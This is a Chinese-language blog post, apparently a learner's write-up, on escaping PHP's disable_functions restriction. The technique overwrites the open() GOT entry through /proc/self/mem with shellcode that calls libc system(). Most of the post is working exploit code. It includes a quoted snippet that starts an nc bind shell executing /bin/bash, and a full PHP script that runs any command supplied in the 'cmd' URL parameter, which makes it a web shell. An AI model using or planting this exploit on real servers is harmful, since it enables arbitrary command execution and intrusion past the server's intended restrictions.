先拜读这两篇
https://xz.aliyun.com/t/7990
https://blog.csdn.net/weixin_39559559/article/details/111284819
最开始在先知论坛看到这篇文章的时候惊为天人,完全看不懂。现在学了pwn就能看懂一点了,但还是惊为天人。
具体原理就是刚刚学的got表劫持,回顾一下学pri_32时候的got表劫持。
1,被劫持函数(exit/open)的got表的地址。
可以在/proc/self/exe中拿到。
$test = new elf();
$test -> get_section('/proc/self/exe');
$test -> get_reloc();
$open_php = $test -> rel_plts['open'];
2,无后门函数,因此需要找一个地址写入shellcode。
可以在/proc/self/mem中写入,写的位置要根据基地址做偏移,而基地址可以在/proc/self/maps中拿到。
$maps = file_get_contents('/proc/self/maps');
$array_tmp = explode('-', $maps);
$pie_base = hexdec("0x".$array_tmp[0]);
echo "PIE base: ".$pie_base.
"<br>\n";
同理还可以获取堆栈地址。
$maps = file_get_contents('/proc/self/maps');
preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack);
echo "Stack location: 0x".$stack[1].
"<br>\n";
原文是上传了个nc,然后栈中写入nc路径和参数。
$path="/tmp/ncc";
$args = " -lvvp 7711 -e /bin/bash";
fseek($mem, $stack);
fwrite($mem, "{$path}\x00");
$filename_ptr = $stack;
$stack += strlen($path) + 1;
fseek($mem, $stack);
fwrite($mem, str_replace(" ", "\x00", $args) . "\x00");
$str_ptr = $stack;
$argv_ptr = $arg_ptr = $stack + strlen($args) + 1;
foreach(explode(' ', $args) as $arg) {
fseek($mem, $arg_ptr);
fwrite($mem, $test->packlli($str_ptr));
$arg_ptr += 8;
$str_ptr += strlen($arg) + 1;
}
fseek($mem, $arg_ptr);
fwrite($mem, $test->packlli(0x00));
echo "Argv: " . $args . "\n";
echo "ELF PATH $path\n";
最后写shellcode,将shellcode放入$pie_base + 0x2333地址,然后用此地址去劫持open()的got地址。shellcode中放入栈中nc的路径和参数两个地址。
$mem = fopen('/proc/self/mem', 'wb');
$shellcode_loc = $pie_base + 0x2333;
fseek($mem, $open_php);
$shellcode = "好孩子要自己写shellcode哦".
$test->packlli($filename_ptr)
."\x48\xbe"
.$test->packlli($argv_ptr)
."好孩子要自己写shellcode哦";
fwrite($mem, $test->packlli($shellcode_loc));
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);
readfile('email->[email protected]', 'r');
echo "DONE\n";
exit();
而且没有公开shellcode怎么写,非常的不优雅。因此第二篇文章对此进行了优化,在libc.so中找出system的真实地址,将nc换成了system,更加直观和方便。
$test2 = new elf();
$test2-> get_section('/usr/lib64/libc-2.17.so');
$test2 -> get_reloc();
$test2 -> get_shared_library();
$sys = $test2 -> shared_librarys['system'];
$sys_addr = $sys + hexdec($libc_base);
echo "system addr: 0x".dechex($sys_addr).
"<br>\n";
$mem = fopen('/proc/self/mem', 'wb');
$shellcode_loc = $pie_base + 0x2333;
fseek($mem, $open_php);
fwrite($mem, $test -> packlli($shellcode_loc));
$stack = hexdec("0x".$stack[1]);
fseek($mem, $stack);
fwrite($mem, "{$command}\x00");
$cmd = $stack;
$shellcode = "H\xbf".$test -> packlli($cmd).
"H\xb8".$test -> packlli($sys_addr).
"P\xc3";
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);
现在还有一个问题,libc.so的地址我们是不知道的,在ret2libc3中,我们是用ldd ret2libc3找出来的。当然用其他程序比如id也可以。
显然我们无法执行命令,但刚刚我们翻/proc/self/maps的时候,发现这里面也有libc。
于是优化一下脚本,加一些方便使用的提示,得出exp如下。
<?php
ini_set('display_errors','On');
error_reporting(E_ALL);
echo "nginx-1.18 php5.5 php5.4 php5.3 php5.2"."<br>\n";
echo "apache2.4 php5.5 php5.4 php5.3"."<br>\n"."<br>\n"."<br>\n";
echo "PHP_VERSION: ".PHP_VERSION."<br>\n";
@$user = posix_getpwuid(posix_geteuid())["name"];
echo "user: ".$user."<br>\n";
preg_match("/\/lib[\w\-\/]+\/libc\-[0-9\.]+.so/", file_get_contents("/proc/self/maps"), $libc);
if (empty($libc)){
echo "can't find libc"."<br>\n";
}else{
echo "Libc: ".$libc[0]."<br>\n";
}
@$command = $_GET['cmd'];
if (empty($command)){
$command = 'id';
}
echo "command: ".$command."<br>\n";
if (is_writable('/proc/self/mem')) {
echo "/proc/self/mem is writable"."<br>\n";
}else{
echo "/proc/self/mem is not writable"."<br>\n";
}
/***
*
* BUG修正请联系我
* @author
* @email xiaozeend@pm.me *
*/
/*
section tables type
*/
define('SHT_NULL', 0);
define('SHT_PROGBITS', 1);
define('SHT_SYMTAB', 2);
define('SHT_STRTAB', 3);
define('SHT_RELA', 4);
define('SHT_HASH', 5);
define('SHT_DYNAMIC', 6);
define('SHT_NOTE', 7);
define('SHT_NOBITS', 8);
define('SHT_REL', 9);
define('SHT_SHLIB', 10);
define('SHT_DNYSYM', 11);
define('SHT_INIT_ARRAY', 14);
define('SHT_FINI_ARRAY', 15); //why does section tables have so many fuck type
define('SHT_GNU_HASH', 0x6ffffff6);
define('SHT_GNU_versym', 0x6fffffff);
define('SHT_GNU_verneed', 0x6ffffffe);
class elf{
private $elf_bin;
private $strtab_section=array();
private $rel_plt_section=array();
private $dynsym_section=array();
public $shared_librarys=array();
public $rel_plts=array();
public function getElfBin()
{
return $this->elf_bin;
}
public function setElfBin($elf_bin)
{
$this->elf_bin = fopen($elf_bin,"rb");
}
public function unp($value)
{
return hexdec(bin2hex(strrev($value)));
}
public function get($start,$len){
fseek($this->elf_bin,$start);
$data=fread ($this->elf_bin,$len);
rewind($this->elf_bin);
return $this->unp($data);
}
public function get_section($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$this->elf_shoff=$this->get(0x28,8);
$this->elf_shentsize=$this->get(0x3a,2);
$this->elf_shnum=$this->get(0x3c,2);
$this->elf_shstrndx=$this->get(0x3e,2);
for ($i=0;$i<$this->elf_shnum;$i+=1){
$sh_type=$this->get($this->elf_shoff+$i*$this->elf_shentsize+4,4);
switch ($sh_type){
case SHT_STRTAB:
$this->strtab_section[$i]=
array(
'strtab_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'strtab_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8)
);
break;
case SHT_RELA:
$this->rel_plt_section[$i]=
array(
'rel_plt_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'rel_plt_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'rel_plt_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;
case SHT_DNYSYM:
$this->dynsym_section[$i]=
array(
'dynsym_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'dynsym_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'dynsym_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;
case SHT_NULL:
case SHT_PROGBITS:
case SHT_DYNAMIC:
case SHT_SYMTAB:
case SHT_NOBITS:
case SHT_NOTE:
case SHT_FINI_ARRAY:
case SHT_INIT_ARRAY:
case SHT_GNU_versym:
case SHT_GNU_HASH:
break;
default:
// echo "who knows what $sh_type this is? ";
}
}
}
public function get_reloc(){
$rel_plts=array();
$dynsym_section= reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
foreach ($this->rel_plt_section as $rel_plt ){
for ($i=$rel_plt['rel_plt_offset'];
$i<$rel_plt['rel_plt_offset']+$rel_plt['rel_plt_size'];
$i+=$rel_plt['rel_plt_entsize'])
{
$rel_offset=$this->get($i,8);
$rel_info=$this->get($i+8,8)>>32;
$fun_name_offset=$this->get($dynsym_section['dynsym_offset']+$rel_info*$dynsym_section['dynsym_entsize'],4);
$fun_name_offset=$strtab_section['strtab_offset']+$fun_name_offset-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$rel_plts[$fun_name]=$rel_offset;
}
}
$this->rel_plts=$rel_plts;
}
public function get_shared_library($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$shared_librarys=array();
$dynsym_section=reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
for ($i=$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_entsize'];
$i<$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_size'];
$i+=$dynsym_section['dynsym_entsize'])
{
$shared_library_offset=$this->get($i+8,8);
$fun_name_offset=$this->get($i,4);
$fun_name_offset=$fun_name_offset+$strtab_section['strtab_offset']-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$shared_librarys[$fun_name]=$shared_library_offset;
}
$this->shared_librarys=$shared_librarys;
}
public function close(){
fclose($this->elf_bin);
}
public function __destruct()
{
$this->close();
}
public function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
}
$test = new elf();
$test -> get_section('/proc/self/exe');
$test -> get_reloc();
$open_php = $test -> rel_plts['open'];
$maps = file_get_contents('/proc/self/maps');
preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack);
preg_match('/(\w+)-(\w+).*?libc-/', $maps, $libcgain);
$libc_base = "0x".$libcgain[1];
echo "Libc base: ".$libc_base.
"<br>\n";
echo "Stack location: 0x".$stack[1].
"<br>\n";
$array_tmp = explode('-', $maps);
$pie_base = hexdec("0x".$array_tmp[0]);
echo "PIE base: ".$pie_base.
"<br>\n";
$test2 = new elf();
$test2 -> get_section($libc[0]);
$test2 -> get_reloc();
$test2 -> get_shared_library();
$sys = $test2 -> shared_librarys['system'];
$sys_addr = $sys + hexdec($libc_base);
echo "system addr: 0x".dechex($sys_addr).
"<br>\n";
$mem = fopen('/proc/self/mem', 'wb');
$shellcode_loc = $pie_base + 0x2333;
fseek($mem, $open_php);
fwrite($mem, $test -> packlli($shellcode_loc));
$stack = hexdec("0x".$stack[1]);
fseek($mem, $stack);
fwrite($mem, "{$command}\x00");
$cmd = $stack;
$shellcode = "H\xbf".$test -> packlli($cmd).
"H\xb8".$test -> packlli($sys_addr).
"P\xc3";
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);
readfile('zxhy');
exit();
效果如下
如图所见,这个绕过受着php版本限制,其核心原因是5.6或者更高的php版本无法写/proc/self/mem。但经过我的测试,如果中间件错误的以高权限运行而不是www(nobody),还是可以写/proc/self/mem的。比如本地用ubuntu运行一下这个文件。